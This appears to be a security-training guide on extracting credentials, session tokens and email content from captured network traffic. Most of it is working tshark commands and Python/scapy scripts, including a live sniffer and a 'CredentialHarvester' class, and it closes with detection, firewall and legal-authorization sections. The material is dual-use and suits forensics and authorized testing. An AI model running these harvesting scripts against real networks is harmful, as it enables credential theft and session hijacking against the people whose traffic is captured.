Protocol Analysis

Understanding Protocol Analysis - Credential Harvesting and Communication Extraction

What is Protocol Analysis?

Simple Definition: Protocol analysis involves systematic examination of captured network traffic to extract credentials, decode communications, and gather intelligence by understanding how different network protocols transmit and structure data.

Technical Definition: Protocol analysis encompasses deep packet inspection, protocol decoding, and pattern recognition techniques to extract authentication credentials, session tokens, application data, and communication metadata from intercepted network traffic across multiple protocol layers.

Why Protocol Analysis is Effective

Protocol analysis succeeds by exploiting fundamental characteristics of network communications:

  • Clear-Text Protocols: Many protocols transmit authentication and data without encryption
  • Predictable Structures: Network protocols follow standardized formats enabling systematic parsing
  • Layered Information: Multiple protocol layers provide different types of intelligence
  • Legacy Implementation: Older systems often use insecure authentication methods

Attack Process Breakdown

Normal Protocol Communication

  1. Application Request: Client application initiates communication using specific protocol
  2. Authentication Exchange: Credentials transmitted according to protocol specifications
  3. Data Transfer: Application data exchanged using protocol-defined formats
  4. Session Management: Protocol maintains session state and security context

Protocol Analysis Process

  1. Traffic Capture: Obtain network traffic containing target protocol communications
  2. Protocol Identification: Identify and classify different protocols in captured traffic
  3. Packet Parsing: Decode protocol structures and extract relevant fields
  4. Credential Extraction: Locate and extract authentication information
  5. Intelligence Compilation: Organize extracted information for operational use

Real-World Impact

Credential Harvesting: Extract usernames, passwords, and authentication tokens from network traffic

Session Hijacking: Obtain session identifiers for application access without authentication

Business Intelligence: Access confidential communications and proprietary information

Network Mapping: Understand application architecture and data flow patterns

Compliance Assessment: Verify proper implementation of secure communication protocols

Technical Concepts

Protocol Categories for Analysis

Authentication Protocols: HTTP Basic Auth, FTP, Telnet, POP3, IMAP Web Protocols: HTTP, HTTPS headers, cookies, form data Email Protocols: SMTP, POP3, IMAP authentication and content Database Protocols: MySQL, PostgreSQL, Oracle connection strings and queries Network Management: SNMP community strings, SSH keys, certificates

Credential Extraction Techniques

Clear-Text Authentication: Direct extraction from unencrypted protocols Base64 Decoding: HTTP Basic Authentication and similar encoded schemes Session Token Analysis: Extraction of cookies, API keys, and session identifiers Hash Extraction: Collection of password hashes for offline analysis

Protocol Parsing Methodologies

Layer-by-Layer Analysis: Systematic examination from physical to application layers State-Aware Processing: Understanding protocol state machines and connection contexts Reassembly Techniques: Reconstructing complete communications from fragmented packets Pattern Recognition: Identifying credential patterns across different protocols

Technical Implementation

Prerequisites

Analysis Requirements:

  • Captured network traffic containing target protocol communications
  • Understanding of protocol structures and authentication mechanisms
  • Tools capable of deep packet inspection and protocol parsing

Essential Tools:

  • Wireshark: Comprehensive protocol analyzer with dissector support
  • NetworkMiner: Network forensic analysis tool for credential extraction
  • Tshark: Command-line protocol analysis and filtering
  • Ettercap: Real-time protocol analysis and credential harvesting

Essential Command Sequence

Step 1: Protocol Identification and Classification 

# Analyze captured traffic for protocol distribution
tshark -r capture.pcap -q -z conv,ip
# Shows conversation statistics between IP addresses
# Identifies most active communication pairs
# Reveals protocol usage patterns

# Identify specific protocols in capture
tshark -r capture.pcap -T fields -e _ws.col.Protocol | sort | uniq -c | sort -nr
# Lists all protocols found in capture
# Shows frequency of each protocol
# Helps prioritize analysis efforts

# Extract protocol hierarchy statistics
tshark -r capture.pcap -q -z phs
# Protocol hierarchy statistics
# Shows relationship between different protocol layers
# Identifies encapsulation and tunneling

Purpose: Understand the composition of captured traffic to focus analysis on high-value protocols and communications.

Step 2: HTTP Protocol Analysis 

# Extract HTTP authentication credentials
tshark -r capture.pcap -Y "http.authorization" -T fields -e ip.src -e http.authorization
# Displays HTTP Basic Authentication credentials
# Shows source IP and encoded credentials
# Base64 decode required for clear-text passwords

# Decode HTTP Basic Authentication
tshark -r capture.pcap -Y "http.authorization" -T fields -e http.authorization | \
while read auth; do
    echo "$auth" | base64 -d
    echo
done
# Automatically decodes Base64 credentials
# Reveals usernames and passwords in clear text
# High-value credential harvesting

# Extract HTTP cookies and session tokens
tshark -r capture.pcap -Y "http.cookie" -T fields -e ip.src -e ip.dst -e http.cookie
# Shows session cookies and authentication tokens
# Identifies session hijacking opportunities
# Maps user sessions to IP addresses

Step 3: Email Protocol Credential Extraction

POP3 Analysis:

# Extract POP3 authentication attempts
tshark -r capture.pcap -Y "pop.request.command == \"USER\" or pop.request.command == \"PASS\"" \
-T fields -e ip.src -e pop.request.command -e pop.request.parameter
# Shows POP3 username and password attempts
# Clear-text email authentication credentials
# Maps credentials to source IP addresses

# Monitor POP3 authentication success/failure
tshark -r capture.pcap -Y "pop.response.indicator" -T fields -e ip.dst -e pop.response.indicator
# Shows authentication results from server
# Identifies successful vs failed login attempts
# Helps validate harvested credentials

SMTP Analysis:

# Extract SMTP authentication credentials
tshark -r capture.pcap -Y "smtp.auth.username or smtp.auth.password" \
-T fields -e ip.src -e smtp.auth.username -e smtp.auth.password
# SMTP authentication credentials
# Often Base64 encoded requiring decode
# Email server authentication information

# Analyze SMTP message content
tshark -r capture.pcap -Y "smtp.data.fragment" -T fields -e smtp.data.fragment
# Extracts email message content
# Reveals business communications
# Contains sensitive organizational information

Step 4: FTP and Telnet Credential Harvesting 

# Extract FTP authentication credentials
tshark -r capture.pcap -Y "ftp.request.command == \"USER\" or ftp.request.command == \"PASS\"" \
-T fields -e ip.src -e ip.dst -e ftp.request.command -e ftp.request.arg
# Clear-text FTP usernames and passwords
# File transfer service credentials
# Often reused across multiple systems

# Monitor Telnet sessions for credentials
tshark -r capture.pcap -Y "telnet.data" -T fields -e ip.src -e ip.dst -e telnet.data
# Telnet session data including login prompts
# Captures interactive command sessions
# Reveals system administration activities

# Extract complete Telnet sessions
tshark -r capture.pcap -Y "telnet" -T fields -e tcp.stream -e telnet.data | \
sort -n | while read stream data; do
    echo "Stream $stream: $(echo $data | xxd -r -p 2>/dev/null)"
done
# Reconstructs complete Telnet sessions
# Shows full command sequences and responses
# Valuable for understanding system configuration

Step 5: Database Protocol Analysis

MySQL Protocol Extraction:

# Analyze MySQL authentication attempts
tshark -r capture.pcap -Y "mysql.login_request" -T fields -e ip.src -e mysql.user
# MySQL connection attempts with usernames
# Database authentication information
# Critical for database security assessment

# Extract MySQL queries
tshark -r capture.pcap -Y "mysql.query" -T fields -e ip.src -e mysql.query
# SQL queries executed against database
# Reveals database structure and content access
# Shows application data access patterns

PostgreSQL Analysis:

#!/usr/bin/env python3
import pyshark

def analyze_postgresql(capture_file):
    """Extract PostgreSQL authentication and queries"""
    
    capture = pyshark.FileCapture(capture_file, display_filter="pgsql")
    
    credentials = []
    queries = []
    
    for packet in capture:
        try:
            if hasattr(packet.pgsql, 'type'):
                if packet.pgsql.type == '1':  # Authentication request
                    if hasattr(packet.pgsql, 'user'):
                        credentials.append({
                            'src': packet.ip.src,
                            'user': packet.pgsql.user,
                            'database': getattr(packet.pgsql, 'database', 'unknown')
                        })
                
                elif packet.pgsql.type == '3':  # Query
                    if hasattr(packet.pgsql, 'query'):
                        queries.append({
                            'src': packet.ip.src,
                            'query': packet.pgsql.query
                        })
        except AttributeError:
            continue
    
    return credentials, queries

# Analyze PostgreSQL traffic
creds, queries = analyze_postgresql("capture.pcap")
print(f"Found {len(creds)} credential attempts")
print(f"Found {len(queries)} SQL queries")

Attack Variations

Session Token Extraction and Analysis 

#!/usr/bin/env python3
import pyshark
import re

def extract_session_tokens(capture_file):
    """Extract various types of session tokens"""
    
    capture = pyshark.FileCapture(capture_file, display_filter="http")
    
    tokens = {
        'cookies': [],
        'jwt_tokens': [],
        'api_keys': [],
        'oauth_tokens': []
    }
    
    for packet in capture:
        try:
            if hasattr(packet.http, 'cookie'):
                tokens['cookies'].append(packet.http.cookie)
            
            if hasattr(packet.http, 'authorization'):
                auth = packet.http.authorization
                if 'Bearer' in auth:
                    tokens['oauth_tokens'].append(auth)
                elif auth.count('.') == 2:  # JWT pattern
                    tokens['jwt_tokens'].append(auth)
            
            # Look for API keys in various headers
            for field in ['x_api_key', 'api_key', 'apikey']:
                if hasattr(packet.http, field):
                    tokens['api_keys'].append(getattr(packet.http, field))
                    
        except AttributeError:
            continue
    
    return tokens

# Extract session tokens for replay attacks
session_tokens = extract_session_tokens("capture.pcap")
for token_type, tokens in session_tokens.items():
    print(f"{token_type}: {len(tokens)} found")

Voice Protocol Analysis 

# Analyze SIP authentication
tshark -r capture.pcap -Y "sip.Method == \"REGISTER\" or sip.Status-Code" \
-T fields -e ip.src -e sip.Method -e sip.from.user -e sip.auth.username
# SIP registration attempts and authentication
# VoIP system credentials
# Phone system access information

# Extract RTP streams for voice analysis
tshark -r capture.pcap -Y "rtp" -T fields -e rtp.ssrc -e rtp.payload
# Real-time Protocol voice data
# Potential for voice conversation reconstruction
# Requires additional audio processing tools

Custom Protocol Analysis 

#!/usr/bin/env python3
import pyshark
import struct

def analyze_custom_protocol(capture_file, port):
    """Analyze custom application protocols"""
    
    capture = pyshark.FileCapture(
        capture_file, 
        display_filter=f"tcp.port == {port}"
    )
    
    sessions = {}
    
    for packet in capture:
        try:
            if hasattr(packet, 'tcp') and hasattr(packet.tcp, 'payload'):
                stream = packet.tcp.stream
                payload = bytes.fromhex(packet.tcp.payload.replace(':', ''))
                
                if stream not in sessions:
                    sessions[stream] = []
                
                sessions[stream].append({
                    'timestamp': packet.sniff_timestamp,
                    'src': packet.ip.src,
                    'dst': packet.ip.dst,
                    'payload': payload
                })
        
        except (AttributeError, ValueError):
            continue
    
    return sessions

# Analyze custom application protocols
custom_sessions = analyze_custom_protocol("capture.pcap", 8080)
print(f"Found {len(custom_sessions)} custom protocol sessions")

Common Issues and Solutions

Problem: Encrypted protocols preventing credential extraction

  • Solution: Focus on metadata analysis, look for protocol downgrade attacks, target initialization phases

Problem: Fragmented packets disrupting protocol reconstruction

  • Solution: Use Wireshark’s stream following features, implement proper packet reassembly

Problem: High volume of traffic overwhelming analysis tools

  • Solution: Use specific protocol filters, analyze representative samples, implement automated processing

Problem: Unknown or proprietary protocols

  • Solution: Analyze packet patterns, look for ASCII strings, reverse engineer protocol structure

Advanced Techniques

Automated Credential Extraction Pipeline 

#!/usr/bin/env python3
import pyshark
import base64
import json
from datetime import datetime

class CredentialHarvester:
    def __init__(self):
        self.credentials = {
            'http_basic': [],
            'ftp': [],
            'telnet': [],
            'pop3': [],
            'smtp': [],
            'mysql': []
        }
    
    def analyze_http_basic(self, packet):
        """Extract HTTP Basic Authentication"""
        if hasattr(packet.http, 'authorization'):
            auth = packet.http.authorization
            if auth.startswith('Basic '):
                try:
                    decoded = base64.b64decode(auth[6:]).decode('utf-8')
                    username, password = decoded.split(':', 1)
                    self.credentials['http_basic'].append({
                        'timestamp': packet.sniff_timestamp,
                        'src': packet.ip.src,
                        'dst': packet.ip.dst,
                        'username': username,
                        'password': password
                    })
                except:
                    pass
    
    def analyze_ftp(self, packet):
        """Extract FTP credentials"""
        if hasattr(packet.ftp, 'request_command'):
            cmd = packet.ftp.request_command
            if cmd in ['USER', 'PASS']:
                self.credentials['ftp'].append({
                    'timestamp': packet.sniff_timestamp,
                    'src': packet.ip.src,
                    'dst': packet.ip.dst,
                    'command': cmd,
                    'value': packet.ftp.request_arg
                })
    
    def process_capture(self, capture_file):
        """Process entire capture file for credentials"""
        capture = pyshark.FileCapture(capture_file)
        
        for packet in capture:
            try:
                if hasattr(packet, 'http'):
                    self.analyze_http_basic(packet)
                elif hasattr(packet, 'ftp'):
                    self.analyze_ftp(packet)
                # Add more protocol handlers as needed
            except AttributeError:
                continue
    
    def export_results(self, output_file):
        """Export extracted credentials to JSON"""
        with open(output_file, 'w') as f:
            json.dump(self.credentials, f, indent=2, default=str)

# Automated credential harvesting
harvester = CredentialHarvester()
harvester.process_capture("capture.pcap")
harvester.export_results("extracted_credentials.json")

Real-Time Protocol Analysis 

#!/usr/bin/env python3
from scapy.all import *
import base64

def real_time_analysis(packet):
    """Real-time protocol analysis and alerting"""
    
    if packet.haslayer(Raw):
        payload = packet[Raw].load.decode('utf-8', errors='ignore')
        
        # Look for credential patterns
        if 'password' in payload.lower() or 'login' in payload.lower():
            print(f"ALERT: Credential traffic detected from {packet[IP].src}")
            print(f"Payload: {payload[:100]}...")
        
        # Check for HTTP Basic Auth
        if packet.haslayer(TCP) and packet[TCP].dport == 80:
            if b'Authorization: Basic' in packet[Raw].load:
                auth_header = packet[Raw].load.split(b'Authorization: Basic ')[1].split(b'\r\n')[0]
                try:
                    credentials = base64.b64decode(auth_header).decode('utf-8')
                    print(f"HTTP Basic Auth: {credentials}")
                except:
                    pass

# Start real-time analysis
sniff(iface="eth0", prn=real_time_analysis, filter="port 80 or port 21 or port 23")

Cross-Protocol Correlation 

#!/usr/bin/env python3
import pyshark
from collections import defaultdict

def correlate_protocols(capture_file):
    """Correlate credentials across multiple protocols"""
    
    capture = pyshark.FileCapture(capture_file)
    
    host_activities = defaultdict(list)
    
    for packet in capture:
        try:
            src_ip = packet.ip.src
            
            # Track different protocol activities per host
            if hasattr(packet, 'http') and hasattr(packet.http, 'authorization'):
                host_activities[src_ip].append('HTTP_AUTH')
            elif hasattr(packet, 'ftp') and hasattr(packet.ftp, 'request_command'):
                if packet.ftp.request_command in ['USER', 'PASS']:
                    host_activities[src_ip].append('FTP_AUTH')
            elif hasattr(packet, 'ssh'):
                host_activities[src_ip].append('SSH_CONNECTION')
            elif hasattr(packet, 'mysql'):
                host_activities[src_ip].append('MYSQL_CONNECTION')
                
        except AttributeError:
            continue
    
    # Identify hosts with multiple authentication attempts
    suspicious_hosts = {
        ip: activities for ip, activities in host_activities.items() 
        if len(set(activities)) > 2
    }
    
    return suspicious_hosts

# Correlate activities across protocols
suspicious = correlate_protocols("capture.pcap")
for host, activities in suspicious.items():
    print(f"Host {host}: {set(activities)}")

Detection and Prevention

Detection Indicators

  • Unusual network traffic analysis patterns
  • Unexpected protocol decoding or parsing activities
  • High-volume packet processing on network monitoring systems
  • Systematic extraction of authentication information
  • Correlation of credentials across multiple protocols

Prevention Measures

Protocol Security:

  • Implement encrypted authentication protocols (SSH, HTTPS, TLS)
  • Disable clear-text authentication methods (Telnet, FTP, HTTP Basic)
  • Use strong authentication mechanisms (certificates, multi-factor)

Network Protection:

# Block insecure protocols at firewall
iptables -A OUTPUT -p tcp --dport 23 -j DROP  # Telnet
iptables -A OUTPUT -p tcp --dport 21 -j DROP  # FTP
iptables -A OUTPUT -p tcp --dport 110 -j DROP # POP3

Monitoring and Detection:

  • Monitor for unusual network analysis activities
  • Implement network traffic encryption
  • Deploy protocol-aware intrusion detection systems
  • Regular security assessments of protocol implementations

Professional Context

Legitimate Use Cases

  • Network Security Monitoring: Analyzing network traffic for malicious activities
  • Forensic Investigation: Extracting evidence from network communications during incidents
  • Compliance Auditing: Verifying secure protocol implementation and data protection
  • Penetration Testing: Assessing the security of network protocols and authentication mechanisms

Legal and Ethical Requirements

Authorization: Protocol analysis can reveal sensitive information - explicit written permission essential

Scope Definition: Clearly identify which protocols and communications are in-scope for analysis

Data Protection: Implement secure handling of extracted credentials and sensitive information

Privacy Compliance: Ensure compliance with privacy laws when analyzing personal communications

Protocol analysis demonstrates the critical importance of encryption and secure authentication protocols, providing essential skills for network security assessment while highlighting the risks of clear-text communications in modern networks.